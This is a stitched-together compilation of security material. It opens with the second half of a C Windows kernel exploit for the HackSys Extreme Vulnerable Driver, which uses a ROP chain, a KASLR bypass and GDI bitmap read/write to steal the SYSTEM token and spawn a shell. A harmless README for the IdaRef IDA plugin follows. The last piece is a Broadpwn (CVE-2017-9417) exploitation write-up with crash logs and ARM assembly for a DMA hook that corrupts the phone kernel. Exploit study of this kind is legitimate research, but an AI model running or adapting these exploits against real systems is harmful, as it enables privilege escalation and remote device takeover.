154 |  Ptoken\_User = \(PTOKEN\_USER\)GlobalAlloc\(GPTR, dwSize\);  
155 |   
156 |  // Call GetTokenInformation again to get the group information.  
157 |  if \(\!GetTokenInformation\(hToken, TokenUser, Ptoken\_User, dwSize, &dwSize\)\) \{  
158 |  return FALSE;  
159 |  \}  
160 |  if \(\!ConvertSidToStringSidW\(Ptoken\_User->User.Sid, &SID\)\) \{  
161 |  return FALSE;  
162 |  \}  
163 |   
164 |  if \(\_wcsicmp\(L"S-1-5-18", SID\) \!= 0\) \{  
165 |  return FALSE;  
166 |  \}  
167 |  if \(Ptoken\_User\) GlobalFree\(Ptoken\_User\);  
168 |   
169 |  return TRUE;  
170 | \}  
171 |   
172 |   
173 | void PopShell\(\)  
174 | \{  
175 |  STARTUPINFO si = \{ sizeof\(STARTUPINFO\) \};  
176 |  PROCESS\_INFORMATION pi;  
177 |   
178 |  ZeroMemory\(&si, sizeof\(si\)\);  
179 |  si.cb = sizeof\(si\);  
180 |  ZeroMemory\(&pi, sizeof\(pi\)\);  
181 |   
182 |  CreateProcess\(L"C:\\\Windows\\\System32\\\cmd.exe", NULL, NULL, NULL, 0, CREATE\_NEW\_CONSOLE, NULL, NULL, &si, &pi\);  
183 |   
184 | \}  
185 |   
186 |   
187 | int wmain\(int argc, wchar\_t\* argv\[\]\)  
188 | \{  
189 |  OSVERSIONINFOEXW osInfo;  
190 |  TCHAR chOSMajorMinor\[8\];  
191 |  LeakBitmapInfo ManagerBitmap;  
192 |  LeakBitmapInfo WorkerBitmap;  
193 |  DWORD dwOffsetToPvScan0 = 0x50;  
194 |  DWORD dwUniqueProcessIdOffset = 0x2e8;  
195 |  DWORD dwTokenOffset = 0x358;  
196 |  DWORD dwActiveProcessLinks = 0x2f0;  
197 |  HANDLE hDevice;  
198 |  LPCWSTR lpDeviceName = L"\\\\\\\.\\\HacksysExtremeVulnerableDriver";  
199 |  BOOL bResult = FALSE;  
200 |  LPCSTR lpFunctionName = "PsInitialSystemProcess";  
201 |  DWORD dwPID;  
202 |  KERNELINFO KASLRBypass;  
203 |  ROP BitmapPvScan0Prep;  
204 |   
205 |   
206 |  wprintf\(L" \_\_ \_\_ \_\_ \_\_\_\_ \n"\);  
207 |  wprintf\(L" / // /\_\_ \_\_\_\_\_/ /\_\_ / \_\_/\_ \_\_\_\_\_ \n"\);  
208 |  wprintf\(L" / \_ / \_ \`/ \_\_/ '\_/\_\\\ \\\/ // \(\_-< \n"\);  
209 |  wprintf\(L" /\_//\_/\\\\_,\_/\\\\_\_/\_/\\\\_\\\/\_\_\_/\\\\_, /\_\_\_/ \n"\);  
210 |  wprintf\(L" /\_\_\_/ \n"\);  
211 |  wprintf\(L" \n"\);  
212 |  wprintf\(L" Extreme Vulnerable Driver \n"\);  
213 |  wprintf\(L" Stack Overflow Windows 10 x64 Using GDI \n\n"\);  
214 |   
215 |  // Get OS Version/Architecture   
216 |  osInfo.dwOSVersionInfoSize = sizeof\(osInfo\);  
217 |   
218 |  \_RtlGetVersion RtlGetVersion = \(\_RtlGetVersion\)  
219 |  GetProcAddress\(GetModuleHandle\(L"ntdll.dll"\), "RtlGetVersion"\);  
220 |  if \(RtlGetVersion == NULL\) \{  
221 |  wprintf\(L" -> Unable to get Module handle\!\n\n"\);  
222 |  exit\(1\);  
223 |  \}  
224 |   
225 |  RtlGetVersion\(&osInfo\);  
226 |   
227 |  swprintf\_s\(chOSMajorMinor, sizeof\(chOSMajorMinor\), L"%u.%u", osInfo.dwMajorVersion, osInfo.dwMinorVersion\);  
228 |   
229 |  if \(\_wcsicmp\(chOSMajorMinor, L"10.0"\) == 0 && sizeof\(LPVOID\) == 8\) \{  
230 |  wprintf\(L" \[\*\] Exploit running on Windows Version: 10 or Server 2016 x64 build %u \n\n", osInfo.dwBuildNumber\);  
231 |  \}  
232 |  else \{  
233 |  wprintf\(L" \[\!\] This exploit has only been tested on Windows 10 x64 build 1607 \n\n"\);  
234 |  exit\(1\);  
235 |  \}  
236 |   
237 |  // Creating and Freeing AcceleratorTables and lookup pvScan0 addresses  
238 |  ManagerBitmap = GDIReloaded\(L"Manager", dwOffsetToPvScan0\);  
239 |  WorkerBitmap = GDIReloaded\(L"Worker", dwOffsetToPvScan0\);  
240 |   
241 |  wprintf\(L" \[\*\] Trying to get a handle to the following Driver: %ls", lpDeviceName\);  
242 |   
243 |  hDevice = CreateFile\(lpDeviceName, // Name of the write  
244 |  GENERIC\_READ | GENERIC\_WRITE, // Open for reading/writing  
245 |  FILE\_SHARE\_WRITE, // Allow Share  
246 |  NULL, // Default security  
247 |  OPEN\_EXISTING, // Opens a file or device, only if it exists.  
248 |  FILE\_FLAG\_OVERLAPPED | FILE\_ATTRIBUTE\_NORMAL, // Normal file  
249 |  NULL\); // No attr. template  
250 |   
251 |  if \(hDevice == INVALID\_HANDLE\_VALUE\)  
252 |  \{  
253 |  wprintf\(L" -> Unable to get Driver handle\!\n\n"\);  
254 |  exit\(1\);  
255 |  \}  
256 |   
257 |  wprintf\(L" -> Done\!\n"\);  
258 |  wprintf\(L" \[+\] Our Device Handle: 0x%p \n\n", hDevice\);  
259 |   
260 |  wprintf\(L" \[\*\] Bypass KASLR and prepare our Bitmap Arbitrary Write ROP Chain"\);  
261 |   
262 |  KASLRBypass = KernelInfo\(lpFunctionName\);  
263 |  // pop Worker and Manager PvScan0 Address in rax/r8 register:  
264 |  BitmapPvScan0Prep.PopRaxRet = KASLRBypass.pKernelBase \+ 0x4483f5; // pop rax ; ret  
265 |  BitmapPvScan0Prep.pWorkerBitmapPvScan0 = WorkerBitmap.pBitmapPvScan0; // WorkerBitmap PvScan0 Address  
266 |  BitmapPvScan0Prep.PopR8Ret = KASLRBypass.pKernelBase \+ 0x4253f6; // pop r8 ; ret  
267 |  BitmapPvScan0Prep.pManagerBitmapPvScan0 = ManagerBitmap.pBitmapPvScan0; // ManagerBitmap PvScan0 Address  
268 |  // Write Worker PvScan0 Address to Manager PvScan0 Address:  
269 |  BitmapPvScan0Prep.MovQwR8RaxRet = KASLRBypass.pKernelBase \+ 0x26d0; // mov qword \[r8\], rax ; ret  
270 |  // Recover:  
271 |  BitmapPvScan0Prep.XorRaxRaxRet = KASLRBypass.pKernelBase \+ 0x13a11a; // xor rax, rax ; ret  
272 |  BitmapPvScan0Prep.PopRsiRet = KASLRBypass.pKernelBase \+ 0x46e0; // pop rsi ; ret  
273 |  BitmapPvScan0Prep.pZero1 = NULL; // 0x0  
274 |  BitmapPvScan0Prep.PopRdiRet = KASLRBypass.pKernelBase \+ 0x825b4; // pop rdi ; ret  
275 |  BitmapPvScan0Prep.pZero2 = NULL; // 0x0  
276 |  // Return to IrpDeviceIoCtlHandler+0xe2  
277 |   
278 |  CHAR \*chBuffer;  
279 |  chBuffer = \(CHAR \*\)malloc\(2152\);  
280 |  SecureZeroMemory\(chBuffer, 2152\);  
281 |  memcpy\(chBuffer + 2072, &BitmapPvScan0Prep, sizeof\(ROP\)\);  
282 |   
283 |  wprintf\(L" -> Done\!\n"\);  
284 |  wprintf\(L" \[+\] Kernel Base Address -> 0x%p \n", KASLRBypass.pKernelBase\);  
285 |  wprintf\(L" \[+\] pop rax ; ret -> Gadget available at: 0x%p \n", BitmapPvScan0Prep.PopRaxRet\);  
286 |  wprintf\(L" \[+\] WorkerBitmap PvScan0 Address -> 0x%p \n", BitmapPvScan0Prep.pWorkerBitmapPvScan0\);  
287 |  wprintf\(L" \[+\] pop r8 ; ret -> Gadget available at: 0x%p \n", BitmapPvScan0Prep.PopR8Ret\);  
288 |  wprintf\(L" \[+\] ManagerBitmap PvScan0 Address -> 0x%p \n", BitmapPvScan0Prep.pManagerBitmapPvScan0\);  
289 |  wprintf\(L" \[+\] mov qword \[r8\], rax ; ret -> Gadget available at: 0x%p \n", BitmapPvScan0Prep.MovQwR8RaxRet\);  
290 |  wprintf\(L" \[+\] xor rax, rax ; ret -> Gadget available at: 0x%p \n", BitmapPvScan0Prep.XorRaxRaxRet\);  
291 |  wprintf\(L" \[+\] pop rsi ; ret -> Gadget available at: 0x%p \n", BitmapPvScan0Prep.PopRsiRet\);  
292 |  wprintf\(L" \[+\] pop rdi ; ret -> Gadget available at: 0x%p \n\n", BitmapPvScan0Prep.PopRdiRet\);  
293 |   
294 |  wprintf\(L" \[\*\] Lets send some Bytes to our Driver and ROP our StackOverflow into a Arbitrary Write"\);  
295 |   
296 |  DWORD junk = 0; // Discard results  
297 |   
298 |  bResult = DeviceIoControl\(hDevice, // Device to be queried  
299 |  0x222003, // Operation to perform  
300 |  chBuffer, 2152, // Input Buffer  
301 |  NULL, 0, // Output Buffer  
302 |  &junk, // \# Bytes returned  
303 |  \(LPOVERLAPPED\)NULL\); // Synchronous I/O   
304 |  if \(\!bResult\) \{  
305 |  wprintf\(L" -> Failed to send Data\!\n\n"\);  
306 |  CloseHandle\(hDevice\);  
307 |  exit\(1\);  
308 |  \}  
309 |   
310 |  CloseHandle\(hDevice\);  
311 |   
312 |  wprintf\(L" -> Done\!\n\n"\);  
313 |   
314 |  // Use BitmapArbitraryRead\(\) to read System EPROCESS Structure values  
315 |  wprintf\(L" \[\*\] Reading System \_EPROCESS structure"\);  
316 |   
317 |  LPVOID lpSystemEPROCESS = NULL;  
318 |  LPVOID lpSysProcID = NULL;  
319 |  LIST\_ENTRY leNextProcessLink;  
320 |  LPVOID lpSystemToken = NULL;  
321 |   
322 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(LPVOID\)KASLRBypass.pFunctionAddress, &lpSystemEPROCESS, sizeof\(LPVOID\)\);  
323 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpSystemEPROCESS + dwUniqueProcessIdOffset, &lpSysProcID, sizeof\(LPVOID\)\);  
324 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpSystemEPROCESS + dwActiveProcessLinks, &leNextProcessLink, sizeof\(LIST\_ENTRY\)\);  
325 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpSystemEPROCESS + dwTokenOffset, &lpSystemToken, sizeof\(LPVOID\)\);  
326 |   
327 |  DWORD dwSysProcID = LOWORD\(lpSysProcID\);  
328 |   
329 |  wprintf\(L" -> Done\!\n"\);  
330 |  wprintf\(L" \[+\] %hs Address is at: 0x%p \n", lpFunctionName, KASLRBypass.pFunctionAddress\);  
331 |  wprintf\(L" \[+\] System \_EPROCESS is at: 0x%p \n", lpSystemEPROCESS\);  
332 |  wprintf\(L" \[+\] System PID is: %u \n", dwSysProcID\);  
333 |  wprintf\(L" \[+\] System \_LIST\_ENTRY is at: 0x%p \n", leNextProcessLink.Flink\);  
334 |  wprintf\(L" \[+\] System Token is: 0x%p \n\n", lpSystemToken\);  
335 |   
336 |  // Use BitmapArbitraryRead\(\) to find Current Process Token and replace it with the SystemToken  
337 |  wprintf\(L" \[\*\] Reading Current \_EPROCESS structure"\);  
338 |   
339 |  // First get our Current Process ID  
340 |  dwPID = GetCurrentProcessId\(\);  
341 |   
342 |  LPVOID lpNextEPROCESS = NULL;  
343 |  LPVOID lpCurrentPID = NULL;  
344 |  LPVOID lpCurrentToken = NULL;  
345 |  DWORD dwCurrentPID;  
346 |  do \{  
347 |  lpNextEPROCESS = \(PUCHAR\)leNextProcessLink.Flink \- dwActiveProcessLinks;  
348 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpNextEPROCESS + dwUniqueProcessIdOffset, &lpCurrentPID, sizeof\(LPVOID\)\);  
349 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpNextEPROCESS + dwTokenOffset, &lpCurrentToken, sizeof\(LPVOID\)\);  
350 |   
351 |  // Read \_LIST\_ENTRY to next Active \_EPROCESS Structure  
352 |  BitmapArbitraryRead\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpNextEPROCESS + dwActiveProcessLinks, &leNextProcessLink, sizeof\(LIST\_ENTRY\)\);  
353 |   
354 |  dwCurrentPID = LOWORD\(lpCurrentPID\);  
355 |   
356 |  \} while \(dwCurrentPID \!= dwPID\);  
357 |   
358 |  wprintf\(L" -> Done\!\n"\);  
359 |  wprintf\(L" \[+\] Current \_EPROCESS Structure is at: 0x%p \n", lpNextEPROCESS\);  
360 |  wprintf\(L" \[+\] Current Process ID is: %u \n", dwCurrentPID\);  
361 |  wprintf\(L" \[+\] Current \_EPROCESS Token address is at: 0x%p \n", \(PUCHAR\)lpNextEPROCESS + dwTokenOffset\);  
362 |  wprintf\(L" \[+\] Current Process Token is: 0x%p \n\n", lpCurrentToken\);  
363 |   
364 |  wprintf\(L" \[\*\] Replace Current Token"\);  
365 |   
366 |  BitmapArbitraryWrite\(ManagerBitmap.hBitmap, WorkerBitmap.hBitmap, \(PUCHAR\)lpNextEPROCESS + dwTokenOffset, lpSystemToken, sizeof\(LPVOID\)\);  
367 |   
368 |  wprintf\(L" -> Done\!\n\n"\);  
369 |   
370 |  BOOL isGodMode = IsSystem\(\);  
371 |  if \(\!isGodMode\) \{  
372 |  wprintf\(L" \[\!\] Exploit Failed :\( \n\n"\);  
373 |  CloseHandle\(hDevice\);  
374 |  exit\(1\);  
375 |  \}  
376 |   
377 |  PopShell\(\);  
378 |  wprintf\(L" \[\!\] Enjoy your Shell and Thank You for Flying Ring0 Airways ;\) \n\n"\);  
379 |   
380 |  return \(0\);  
381 |   
382 | \}  
  

# nologic/idaref

**Created:**| _5/26/2015 4:43:50 PM_  
---|---  
**Updated:**| _5/26/2015 4:43:50 PM_  
**Author:**| __  
**Tags:**| _iDA_  
  

# IdaRef

IDA Pro Full Instruction Reference Plugin - It's like auto-comments but
useful.

I'm generally pretty good at figuring out what various Intel instructions do.
But, once in a while I need to either know some precise detail \(i.e. exact
side effects of SUB\) or come across a rare instruction. Then I break my train
of thought and have to dig out the reference manual. Which got me thinking:
_Why can't IDA just give me the full documentation?_

Enter IdaRef:

<img src='https://github.com/nologic/idaref/raw/master/screenshot/idaref.png'
/>

The plugin will monitor the location for your cursor \(ScreenEA\) and display
the full documentation of the instruction. At the moment it only supports
x86-64 and ARM, however adding support for other architectures is relatively
easy.

## Usage

Simply checkout or download the repository and install it to your IDA plugins
directory:

[code]

    idaref.py -> /Applications/IDA Pro 6.8/idaq.app/Contents/MacOS/plugins/idaref.py
    arm.sql -> /Applications/IDA Pro 6.8/idaq.app/Contents/MacOS/plugins/arm.sql
    x86-64.sql -> /Applications/IDA Pro 6.8/idaq.app/Contents/MacOS/plugins/x86-64.sql
    
[/code]

You can also use the installer.sh file but you'll need to open it and edit the
IDA path if you're not using Mac OS and IDA 6.8.

<img
src='https://github.com/nologic/idaref/raw/master/screenshot/idaref_start.png'
/>

Once loaded, the plugin can be turned ON by going to Edit/Start IdaRef menu
option. To control the output right-click on the tab window to get a menu:

  * Update View - Load documentation for currectly selected instruction.
  * Lookup Instruction - Manual load documentation, you'll be prompted for the instruction.
  * Toggle Auto-refresh - Turn on/off auto loading of documentation and rely on the first two options.

<img
src='https://github.com/nologic/idaref/raw/master/screenshot/idaref_menu.png'
/>

## Internals

Upon loading the script will look for SQlite databases in the same directory
as the itself. The naming convention for the database files is \[arch
name\].sql. The \[arch name\] will be presented to the user as choice.

The database has a table called 'instructions' and two columns called 'mnem'
and 'description'. The instructions are looked up case insensitive \(upper
case\) by the mnem value. The text from description is displayed verbatim in
the view.

To add support for more architectures simply create a new database with those
columns and place it in the the script directory.

[code]

    import sqlite3 as sq
    con = sq.connect("asm.sqlite")
    con.text_factory = str
    cur = con.cursor()
    cur.execute("CREATE TABLE IF NOT EXISTS instructions (platform TEXT, mnem TEXT, description TEXT)")
    con.commit()
    
[/code]

When working with x86, I noticed that many instructions point to the same
documentation. So, the plugin supports single level referencing. Just place
'-R:\[new instruction\]' into description to redirect the loading. 'new
instruction' is the target. So, when loading the script will detect the link
and load the new target automatically.

[code]

    cur.execute("INSERT INTO instructions VALUES (?, ?, ?)", ("x86", inst, "-R:%s" % first_inst))
    
[/code]

## Skeletons in the closet

The documentation database was created using a rather hackish screen scraping
technique by the x86doc project which I forked. So, there are probably some
strange characters or tags in the text. At least, it is a mechanical process
so I expect that the information is correct relative to the original Intel
PDF.

## Enjoy\!

# Crashing phones with Wi-Fi: Exploiting nitayart's Broadpwn bug
\(CVE-2017-9417\)

**Created:**| _7/17/2017 11:14:54 AM_  
---|---  
**Updated:**| _7/17/2017 11:14:54 AM_  
**Author:**| __  
**Tags:**| _wifi_  
  

  

# Crashing phones with Wi-Fi: Exploiting nitayart's Broadpwn bug
\(CVE-2017-9417\)

This is part 2 of a two-part series on Broadpwn: part 1 is here: A cursory
analysis of @nitayart's Broadpwn bug \(CVE-2017-9417\)

## ﻿TLDR:

If you're near a malicious Wi-Fi network, an attacker can take over your Wi-Fi
chip using @nitayart's Broadpwn bug, and then take over the rest of your phone
with Project Zero/@laginimaineb's previously disclosed DMA attack. As a proof
of concept, I've made a malicious network which uses these two exploits to
corrupt the RAM of my Nexus 6P, causing a crash and reboot.

## Plan

There's two parts to this proof of concept:

  * A method to get arbitrary code execution on the Wi-Fi chip using @nitayart's Broadpwn bug
  * An implementation of Project Zero's DMA engine hook to corrupt the kernel in the main system memory over PCIE

The first part is very reliable - I can always get code execution; the second
part only works sometimes, since we're pointing the Wi-Fi packet DMA into main
memory, and so success depends on what packets are DMAed.

## Code execution on the Wi-Fi chip

In the last post, we managed to cause a heap write out of bounds using the
Broadpwn bug, which causes the Wi-Fi chip to crash when reading an invalid
address.

Here's the crashlog from the previous post:

[code]

    [  695.399412] CONSOLE: FWID 01-a2412ac4
    [  695.399420] CONSOLE: flags 60040005
    [  695.399425] CONSOLE: 000003.645 
    [  695.399430] CONSOLE: TRAP 4(23fc30): pc 5550c, lr 2f697, sp 23fc88, cpsr 2000019f, spsr 200001bf
    [  695.399435] CONSOLE: 000003.645   dfsr 1, dfar 41414145
    [  695.399441] CONSOLE: 000003.645   r0 41414141, r1 2, r2 1, r3 0, r4 22cc00, r5 217634, r6 217048
    [  695.399449] CONSOLE: 000003.645   r7 2, r8 56, r9 1, r10 216120, r11 217224, r12 8848cb89
    [  695.399455] CONSOLE: 000003.645 
    [  695.399460] CONSOLE:    sp+0 00000002 0022cc00 0022d974 00217634
    [  695.399465] CONSOLE: 000003.645   sp+10 00000004 0001aa83 0022d97f 00000168
    [  695.399471] CONSOLE: 
    [  695.399476] CONSOLE: 000003.645 sp+14 0001aa83
    [  695.399481] CONSOLE: 000003.645 sp+38 000937eb
    [  695.399486] CONSOLE: 000003.645 sp+44 00003b15
    [  695.399492] CONSOLE: 000003.645 sp+4c 00088659
    [  695.399497] CONSOLE: 000003.645 sp+64 00008fc7
    [  695.399502] CONSOLE: 000003.645 sp+74 0000379b
    [  695.399507] CONSOLE: 000003.645 sp+94 00000a29
    [  695.399512] CONSOLE: 000003.645 sp+c4 0019a9e1
    [  695.399517] CONSOLE: 000003.645 sp+e4 00006a4d
    [  695.399523] CONSOLE: 000003.645 sp+11c 00188113
    [  695.399528] CONSOLE: 000003.645 sp+15c 000852ef
    [  695.399533] CONSOLE: 000003.645 sp+180 00019735
    [  695.399538] CONSOLE: 000003.645 sp+194 0001ec73
    [  695.399543] CONSOLE: 000003.645 sp+1bc 00018ba5
    [  695.399549] CONSOLE: 000003.645 sp+1dc 00018a75
    [  695.399554] CONSOLE: 000003.645 sp+1fc 0000656b
    
[/code]

First, let's figure out what exactly we're overwriting. According to Project
Zero, heap allocations begin with a 8-byte header: a uint32\_t containing the
allocation's size and a pointer to the next free chunk if the current chunk is
free or null if it's allocated.

I connected to a normal Wi-Fi network that uses QoS, and dumped the Wi-Fi
chip's RAM using dhdutil. Next, I used a modified version of Project Zero's
heap visualization script to iterate through the entire heap, looking for
allocations that begin with 0050f202 \(the start of a WME information
element\).

It turns out there's two allocations that both begin with this series of
bytes: the chunk at 0x1f3550 and at 0x21700c. Both are followed by another
chunk 0x78 bytes in size \(at 0x1f3584 and 0x217040\) Looking at the stack in
the crashlog, we can see that r6=0x217048 matches the start of the second
allocation, so the address we're overflowing seems to be the second one.

Next, what are we overwriting afterwards? Right now, we only know the next
chunk's size \(0x78\) and contents \(a few pointers, no function pointers\).
Let's look at the code that crashed.

Going up the call stack, we identified a function that contains a printf call
with the function name. After cross referencing, we're able to reconstruct
this call stack:

[code]

    0x5550c wlc_hrt_del_timeout
    0x635cc wlc_pm2_sleep_ret_timer_stop
    0x2f670 wlc_set_pm_mode
    0x19734 _wlc_ioctl
    
[/code]

So it looks like we overwrote a pointer to a timer, and the firmware crashes
when disabling it.

This type of timer is placed in a single linked list when enabled. A timer
looks like this:

[code]

    typedef struct wlc_hrt_to {
        wlc_hrt_to_t *next; // 0x0
        list_head *hrti;    // 0x4
        uint32_t timeout;   // 0x8
        void *func;         // 0xc
    } wlc_hrt_to_t;
    
[/code]

So when disabling a timer, wlc\_hrt\_del\_timeout performs the following:

  * Check if the passed in pointer to the timer is null; if so, return
  * Grab the pointer to the head of the list from the timer
  * Iterate through the list until it finds the timer to disable
  * Once it finds it, add the remaining time on the timer to the next timer in the sequence
  * Perform standard singly-linked list unlink \(prev->next = this->next\)
  * Finally set the function pointer on the timer to null

So how can we turn this into a write primitive? Abuse the timeout addition\!

  * Make a fake timer object
  * set the pointer to head of the list to a fake linked list head
  * This fake linked list head points to the fake timer object
  * Set the next pointer on this fake timer object to point to the code we want to overwrite
  * Set the remaining time on this fake object to be \(target value - current value at the address we want to overwrite\)
  * We also overlap the timer's function pointer with the link list head's next pointer

And so, when the firmware attempts to disable this fake timer, it:

  * Finds our timer object - it's the first timer in the fake linked list
  * Adds the remaining time to the next timer in the list - which is pointing to the code we want to overwrite, giving us a write.
  * Does the unlink by setting prev->next \(which is the head of the list right now\) to this->next
  * And zeros out the function pointer. Since we overlapped the fake timer with the fake linked list head, this also zeroes the list head's ->next pointer, so any future attempts to disable this timer will fail gracefully when it sees an empty linked list, preventing crashes.

I decided to use this to change the first instruction of dma64\_txfast to a
branch instruction that jumps into our overflowed buffer, allowing arbitrary
code execution on the Wi-Fi chip.

There's a few other things to take care of:

  * setting the other pointers in the overwritten structure to null to prevent crashes when the firmware tries to access them
  * filling the beginning of the overflowed structure with 0x41 to cause the firmware to disable the fake timer \(For some reason, if I set it all to 0x00, the fake timer is never disabled. I don't know why.\)
  * making sure the firmware doesn't overwrite our payload \(I made a payload with 0x41s, connected to the network, dumped the RAM to see which bytes were overwritten, and put code and structures into the intact areas\)

but after that, we have code execution\! The payload can be seen here, with
comments on the purpose of each part.

Now, what to execute?

## Crashing the main CPU

Let's implement Project Zero's DMA attack. The TLDR of their approach is that
recent phones connect Wi-Fi chipsets via PCI Express, which allows arbitrary
memory writes and reads through DMA. By manipulating the list of DMA buffers
on the Wi-Fi chip, an attacker can write any information into main memory,
thus getting code execution on the main CPU.

I'm using Project Zero's first DMA attack, which simply sets the
D2H\_MSGRING\_TX\_COMPLETE ring's ringaddr to point into the kernel. I dumped
the address of the ring structure using Project Zero's dump\_pci.py script,
and then wrote a hook that patches the target address to 0x248488 in the main
CPU's physical memory \(which seems to correspond to critical code in the
kernel I'm running\), and also patches out the WME IE bug that we exploited in
the first place \(so that we don't accidentally run the exploit twice\).
Here's the hook:

[code]

    .syntax unified
    .thumb
    hook_entry: // 0x90
    	push {r0-r3,r4-r9,lr}		// 0x217090
    	bl fullhook			// 0x217094
    	pop {r0-r3}			// 0x217098
    	.word 0xbaf9f774		// 0x21709a: branch to original txfast
    fullhook:
    	ldr	r3, patchoutaddr	// 0x21709e
    	ldr	r2, patchaddr		// 0x2170a0
    	str	r2, [r3]		// 0x2180a2
    	ldr	r2, ringaddr		// 0x2180a4
    	ldr	r3, valuewritten	// 0x2180a6
    	str	r3, [r2]		// 0x2180a8
    	bx	lr			// 0x2180aa
    valuewritten:
    	.word 0x00248488		// 0x2180ac physical address on the host side; seems to crash things...
    patchoutaddr:
    	.word 0x1b8ad0			// 0x2180b0 function to patch
    patchaddr:
    	.word 0x47702000		// 0x2180b4 mov r0, #0; bx lr note firmware overwrites byte 0 with a 0; it's fine
    ringaddr:
    	.word 0x002397C4		// 0x2180b8 ringaddr of D2H_MSGRING_TX_COMPLETE dumped with Project Zero's dump_pci.py
    
[/code]

This is then assembled and placed into the payload. The next time
dma64\_txfast is called, our code will patch the DMA ring, and the next Wi-Fi
packet to be processed will overwrite part of the main CPU's kernel, crashing
it.

The final payload can be seen here, along with other useful scripts.

## Result

Experimental setup: computer same as before \(Ubuntu 14.04, hostapd 2.6, Intel
7260 integrated Wi-Fi\). Phone same as before: Google/Huawei Nexus 6P: running
the latest firmware \(N2G48B\), but modified with the vulnerable June Broadcom
firmware for testing this bug, and with a custom kernel for rooting. Since the
bug is in the Wi-Fi firmware only, this should give the same result as an
unupdated stock Nexus 6P.

When the device connects to the network, it froze, and then after a few
seconds it rebooted. The console-ramoops file \(which contains the kernel log
from the previous boot\) shows a kernel panic from an invalid instruction
exception in the kernel. \(I tried to overwrite sys\_nanosleep, but missed. It
seemed to break something at least.\)

The crash isn't very reliable \(the code exec on the wi-fi chip seems to be
reliable, but getting the PCIE DMA to cooperate isn't.\) When it works, the
crash log shows this:

[code]

    [ 5887.413947] CFG80211-ERROR) wl_cfg80211_connect : Connecting to (MAC address) with channel (1) ssid (Network)
    [ 5887.420050] CFG80211-ERROR) wl_notify_connect_status : connect failed event=0 e->status 4 e->reason 1
    [ 5887.426601] CFG80211-ERROR) wl_bss_connect_done : Report connect result - connection failed
    [ 5887.474993] WLDEV-ERROR) wldev_set_country : wldev_set_country: set country for CA as US rev 975
    [ 5887.596971] type=1400 audit(1499840123.620:282): avc: denied { syslog_read } for pid=14628 comm="WifiStateMachin" scontext=u:r:system_server:s0 tcontext=u:
    r:kernel:s0 tclass=system permissive=1
    [ 5887.642896] dhd_dbg_monitor_get_tx_pkts(): no tx_status in tx completion messages, make sure that 'd11status' is enabled in firmware, status_pos=0
    [ 5887.810772] HTB: quantum of class 10001 is big. Consider r2q change.
    [ 5887.829826] HTB: quantum of class 10010 is big. Consider r2q change.
    [ 5889.614299] Internal error: Oops - undefined instruction: 0 [#1] PREEMPT SMP
    [ 5889.614322] CPU: 0 PID: 23518 Comm: kworker/0:1 Tainted: G        W    3.10.73-g4f6d61a-00391-gde1f200-dirty #38
    
    [ 5889.614339] Workqueue: events rslow_comp_work
    [ 5889.614350] task: ffffffc0812d8ac0 ti: ffffffc08d134000 task.ti: ffffffc08d134000
    [ 5889.614358] PC is at fg_mem_write+0x3f0/0x4dc
    [ 5889.614364] LR is at fg_mem_write+0x3f0/0x4dc
    [ 5889.614370] pc : [<ffffffc0008b8480>] lr : [<ffffffc0008b8480>] pstate: 60000145
    [ 5889.614374] sp : ffffffc08d137b80
    [ 5889.614379] x29: ffffffc08d137b80 x28: ffffffc0bec2f2c8 
    [ 5889.614388] x27: ffffffc08d137bfe x26: ffffffc08d137c0f 
    [ 5889.614396] x25: ffffffc08d137c10 x24: 0000000000000000 
    [ 5889.614405] x23: ffffffc08d137cc4 x22: 0000000000000000 
    [ 5889.614413] x21: 0000000000000004 x20: 0000000000000001 
    [ 5889.614421] x19: ffffffc0bec2f018 x18: 0000000000000000 
    [ 5889.614429] x17: 0000000000000000 x16: ffffffc00034f1bc 
    [ 5889.614438] x15: 0000000000000000 x14: 0ffffffffffffffe 
    [ 5889.614446] x13: 0000000000000030 x12: 0101010101010101 
    [ 5889.614454] x11: 7f7f7f7f7f7f7f7f x10: 0000000000004410 
    [ 5889.614462] x9 : ffffffc006158018 x8 : ffffffc00168e300 
    [ 5889.614471] x7 : 0000000000000818 x6 : 0000000000000000 
    [ 5889.614479] x5 : 0000000000000818 x4 : 00000000fc4cf000 
    [ 5889.614487] x3 : 0000000000000001 x2 : 09104ccfa95a13c2 
    [ 5889.614495] x1 : 09104ccfa95a13c2 x0 : 0000000000000000 
    
    (snip a few lines)
    
    [ 5889.615088] Process kworker/0:1 (pid: 23518, stack limit = 0xffffffc08d134058)
    [ 5889.615093] Call trace:
    [ 5889.615100] [<ffffffc0008b8480>] fg_mem_write+0x3f0/0x4dc
    [ 5889.615106] [<ffffffc0008b8a38>] fg_mem_masked_write+0x114/0x178
    [ 5889.615113] [<ffffffc0008ba598>] rslow_comp_work+0x238/0x364
    [ 5889.615123] [<ffffffc00023d224>] process_one_work+0x25c/0x3c0
    [ 5889.615129] [<ffffffc00023d580>] worker_thread+0x1f8/0x348
    [ 5889.615139] [<ffffffc000243e70>] kthread+0xc0/0xcc
    [ 5889.615147] Code: f9400660 52800023 11004042 97fff7bc (000103e2) 
    [ 5889.615153] ---[ end trace 48638eec16f50d72 ]---
    [ 5889.628687] Kernel panic - not syncing: Fatal exception
    [ 5889.628851] CPU1: stopping
    
    
[/code]

## Impact

Yep, we've proved Broadpwn to be exploitable. In addition, the heap buffers
that are overflowed are allocated at startup, so they are stable for a given
firmware version and chip. So if attackers knows your device and your firmware
version, they can take over the Wi-Fi chip and then the whole phone.

I think @Viss has the best advice: just turn Wi-Fi off.

## Stuff I don't know how to do

There's a few issues that prevents this proof-of-concept from being useful.

  * Project Zero's proof of concept, implemented here, DMAs random network packets into main memory; I was unable to implement their more advanced dma64\_txfast hook \(which gives more control over the address to write. It worked once, and only once, and I can't reproduce it.\) can we control what's written so that we can modify the kernel instead of just corrupting and crashing it?
